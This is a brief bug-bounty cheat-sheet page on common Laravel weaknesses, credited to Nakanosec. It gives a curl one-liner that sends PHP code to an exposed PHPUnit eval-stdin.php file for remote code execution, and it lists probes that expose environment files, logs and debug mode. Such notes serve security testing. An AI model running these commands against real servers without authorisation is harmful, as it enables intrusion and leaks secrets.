AllAboutBugBounty/Technologies/Laravel.md
2022-06-15 17:38:42 +07:00

1005 B

Common bug in laravel framework

  1. Laravel PHPUnit Remote Code Execution

Command

curl -d "<?php echo php_uname(); ?>" http://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
  1. Exposed environment variables

Environment Variables

  1. Exposed log files
  1. Laravel Debug Mode Enabled
  • Using SQL injection query in GET or POST method
  • Try path /logout (ex:target.com/logout)
  • Using [] in paramater (ex:target.com/param[]=0)

Laravel Debug Mode

Source: Nakanosec